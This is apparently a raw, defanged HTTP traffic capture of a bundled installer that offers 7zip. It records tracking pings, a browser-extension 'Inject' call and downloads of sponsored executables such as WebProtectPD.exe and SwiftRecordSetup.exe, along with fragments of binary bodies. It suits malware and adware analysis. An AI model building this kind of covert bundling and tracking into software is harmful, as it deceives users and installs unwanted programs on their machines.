.....0...s..zB[.. ....o~.\..E..*.\.>......%..&.k>#.^k..yl...;.t=
.9D.t9.X..h.n..K.g5......P.r..C.d..O....t........b..P...E.sp!j....<
....7.......c....-..&.h.t)}....I....#X.?.. ...X#uCw.D...i.~_...I..y...
.q..;.%...S.nnf..^..y.lG..B.....3.....G..u#I..z........ ......T..t....
.....x}M..w.....B..9fX...&v..%..k...#..=2?A..Sd[K-.p.I....Z...lk.....:
.U.b..c.H_.......=..Z:.5..(.W<8.i%....m..._..-.q......k..q]d>%u7
gTl....p.0.TBI.~.1.-.L_.).84..:K.6E..:..J.v....]3..~k...,..>T.:>
...}..P..L.7..n..VE";....W.8...kd3...b{U.../..7s4..x..n..Ci...Zj.".A..
._..!....usGm[[email protected].. ..u.z.Sa.t.I.-..^ ...4......A..B....
...;n(f../{.^....f.#..2x../[X...f..-.$k......vDQ..>..*.>mZ;...9.
.. ..S.K>..~.)Jpg..vq.......~....YQ."..<%xE...4.S. 0U.k..*..". .
*....@(./.u.....{.....K^u..Q.&.....4QN..1.......-.4.|.p?..co"[.(.E..7d
D.....5%.$..P...N.oQ..cINa.. .....7...7..x ..H....,..V..MT..XC.3..~2./
h.[.1.h.;X9..P.i..P.2..$...O......d....k.....L..-g3....L...9-..u......
p... O~v.....N.{w.u...K..$]Q.J..Bl......_....%.nZ,.............-<e.
o.k.R'J..J.f.~.....y.....Y..*......?t..f.=...n.{.......F(..n...!.[7a.S
Bxr...5.Y..,Z.....hz.....1..1E'.f.'.;B.n,R.*ov...[..x.........JE\NB..^
.a........>1Q..G.;....6.h.LUI).#_!.M...WS.E.Q...h....r..Zr.G\.z.n./
..F.. ..o.T'.1h.b...a.\.4-.]2...^t....0..y..M.._.E.....x..s....B^.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=563015, public, no-transform, must-revalidate

Last-Modified: Tue, 21 Apr 2015 20:44:51 GMT

Expires: Tue, 28 Apr 2015 20:44:51 GMT

Date: Wed, 22 Apr 2015 08:24:40 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015042
1204451Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150421204451Z....20150428204451Z0...*.H........
......Z..FU.O...=.p..;.......<..(h..a....V.......Q.a...6...........
...c...(NZ.......lH... ."........ ..8....(.V......r.v.C.....E4BU.t..I.
s..r..%.m:.....V..:....~.k....<..".um.....C\.M u.......1....j...$..
T.Z.]=......!...E.%..UJ._.CFel....Y...u.Tt..6.zO..y.n........0...0...0
............I...*....^n...0...*.H........0..1.0...U....US1.0...U....th
awte, Inc.1(0&..U....Certification Services Division1806..U.../(c) 200
6 thawte, Inc. - For authorized use only1.0...U....thawte Primary Root
 CA0...141202000000Z..151216235959Z0_1.0...U....US1.0...U....thawte, I
nc.1907..U...0thawte Primary Root OCSP Responder Certificate 30.."0...
*.H.............0.........x...F83..,.D.,2D.;JGc.|_.k.....B.7.....G}.M.
s.....S.i.Uu.h.Aq..v...4:l..U.......T7l...~vl...r....{*..........V.o..
8|.B..^.a.. ...z....x..s...\[Y....<....'> ..YC..7.zVk.$...o3..ka
o]c...>C./bPX.......I..Oc.....NN......g.....,/..]......qN.....V!<
;.3.)...y#.........i0g0...U.%..0... .......0... .....0......0...U.....
..0.0...U...........0!..U....0...0.1.0...U....TGV-B-2770...*.H........
........lt..\..z. ..N.f.!.S5d?J.&....r...D........L.`.s.p...HC.L.8f...
 .........GA7......P..Z.%.../............z.n.6~I...].).....W...W\|.uya
..:...^...hW..7.Z.uc.'....:.xL...HS.....>.........5......%....3S...
.h........U....o.C.\.t.....G.._.C0(l.E9..6UTxg.gF ..;.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1396

content-transfer-encoding: binary

Cache-Control: max-age=486935, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 23:40:15 GMT

Expires: Mon, 27 Apr 2015 23:40:15 GMT

Date: Wed, 22 Apr 2015 08:24:40 GMT

Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
0234015Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
...%..{.cj..}#.......20150420234015Z....20150427234015Z0...*.H........
.....X:..0{.a ......i..`.].g..Lc.z|...[?_K.4.A.....H:m.W!....~..k.h#) 
...l.9T..:p...X5b.."c.^...P.I....i.>0# .I...8'lp.J4?....yl.9R......
....2.._.B...J.#hQ.V.W.`e..Q..-7..............X.'[email protected].....
..O..u#.IN..7...4.../d.0. ; P(...s...f.......yuG9..&......0...0...0..y
.......^..........N...)0...*.H........0J1.0...U....US1.0...U....Thawte
, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1506012
35959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code Sig
ning CA - G2 OCSP Responder0.."0...*.H.............0............).Z...
....O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.rWJ.j.U
.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm.......{b.
bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y...........
.8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0...U.%.
.0... .......0...U........0... .....0......0"..U....0...0.1.0...U....T
GV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J.3~..7
#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T..Yu.o
.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......]...y.
.L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......t....&
gt;.....j....<<< skipped >>>

GET /17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1xgjSk8GGeA4y9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKjH9csU0/99DAPbhQ0/P7xdJ/9u4mACIyqqfV3Ow7bWo2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:03 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSEqjHjRwH0s7BD4NsK07Wi5s IILilpWF1YyXxSCjiPqaE3hyBhQt7Tgog8c26L92McXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aJ48i0s7dJ/BldYy53gQNwSwj137NFRjrgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:03 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:22:03 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=45577-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 27345

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 45577-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 6cde3c778df412041adc7610331b57bc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LY79LJtWECTYRkvvHFrlk6XpsphLg8AerpyqEQPLxIo9dBNNur8i0A==
...H..@......,...............M.S. .S.h.e.l.l. .D.l.g..............P..*
.<..........................PA.(............................P....,.
......................................*.............M.S. .S.h.e.l.l. .
D.l.g..............P(...x..........................P..................
g................P(...x...L.......P.l.e.a.s.e. .w.a.i.t. .w.h.i.l.e. .
S.e.t.u.p. .i.s. .l.o.a.d.i.n.g...........................(...........
..h.....  ............  ............00.................. .h.....  ....
 .........4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...........................
..............................j.....S.t.r.i.n.g.F.i.l.e.I.n.f.o...F...
..0.4.0.9.0.0.0.0...8.....C.o.m.p.a.n.y.N.a.m.e.....W.e.b.P.r.o.t.e.c.
t.P...*.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.........2.....F.i.l.e.V.e.r.
s.i.o.n.....4...1...0...1.3.....&.....L.e.g.a.l.C.o.p.y.r.i.g.h.t.....
..8.....P.r.o.d.u.c.t.N.a.m.e.....W.e.b.P.r.o.t.e.c.t.P...6.....P.r.o.
d.u.c.t.V.e.r.s.i.o.n...4...1...0...1.3.....D.....V.a.r.F.i.l.e.I.n.f.
o.....$.....T.r.a.n.s.l.a.t.i.o.n.............<?xml version="1.0" e
ncoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-m
icrosoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity ver
sion="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" 
type="win32"/><description>Nullsoft Install System v3.0b0<
/description><dependency><dependentAssembly><assembl
yIdentity type="win32" name="Microsoft.Windows.Common-Controls" versio
n="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144cc<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=GoobzoInfo HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:23:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:23:34 GMT..Content-Length: 0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 04:52:59 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-6721"

Expires: Sun, 19 Apr 2015 05:02:59 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 592

X-Cache: Hit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DgFKlgM0waiPfX43lJu1Qt1QymZYTPb3BLGnJBH93yHU46KlDdfqOQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d110jf50ovcr9h.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 19 Apr 2015 05:41:53 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 19 Apr 2015 05:51:53 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: T7tdgA2fivnlAdk8UNb98xbzwevNxUcXBBciPO6OBZ7rY7emLg4_gQ==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)<<< skipped >>>

GET /pin.gif?e=updinst&s=9813&i={38A94106-295F-40DD-B54D-E1D078C38714}&overs=9813&overi={B6FABE4B-0DC3-48A0-A1B9-9E28DD633AC3}" HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: track.madagascardomain.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:11 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Thu, 07 Aug 2014 08:18:11 GMT

ETag: "22-50005baba6d35"

Accept-Ranges: bytes

Content-Length: 34

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: image/gif

GIF89a.............,...........C.;HTTP/1.1 200 OK..Date: Wed, 22 Apr 2
015 08:23:11 GMT..Server: Apache/2.4.7 (Ubuntu)..Last-Modified: Thu, 0
7 Aug 2014 08:18:11 GMT..ETag: "22-50005baba6d35"..Accept-Ranges: byte
s..Content-Length: 34..Keep-Alive: timeout=5, max=100..Connection: Kee
p-Alive..Content-Type: image/gif..GIF89a.............,...........C.;..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=filesfrog&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=0&index_in_screen=0&index_in_session=0&display_height=114&0.038494187488100684 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:24:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=457856-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 457856-523263/523264

Content-Length: 65408

Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;....
.v..@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.
5-.:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\
L..&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.......
..fR.Dht_H....X...h..n.....~.n.... v,[email protected].:../
..Q.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5
.].. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!..
.^Q.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J........
.KB$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d.....
...lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./
!u.8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C..
...aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..S
P....e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.
M..R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M
.. 1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q
9.O..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..
=.,$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.
M..............q..H........S..`..e|)[email protected].?.>.\..i;...0
.....G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R.
.......,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C
2*..).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4..
.A..1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.<<< skipped >>>

GET /settings?s=9813&ins=1&ver=1.00 HTTP/1.1

Host: lb.webovernet.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:24:29 GMT

Content-Length: 172
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~q...6k..G....G....*.-....mW...
w......W.....e.........?!.He:...HTTP/1.1 200 OK..Cache-Control: privat
e..Content-Type: text/html; charset=utf-8..Content-Encoding: gzip..Var
y: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5
0727..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 2015 08:24:29 GMT..Cont
ent-Length: 172...............`.I.%&/m.{.J.J..t...`[email protected]#).
*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"~q...6k..G....
G....*.-....mW...w......W.....e.........?!.He:.....

GET /t.ashx?e=s0jsdppK9OufZNC1TqAoBLK3ximak9Re1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zaviqr qBKQLHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=s0jsdppK9OufZNC1TqAoBLK3ximak9Re1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zaviqr qBKQLHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:17 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.7164267805809253 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

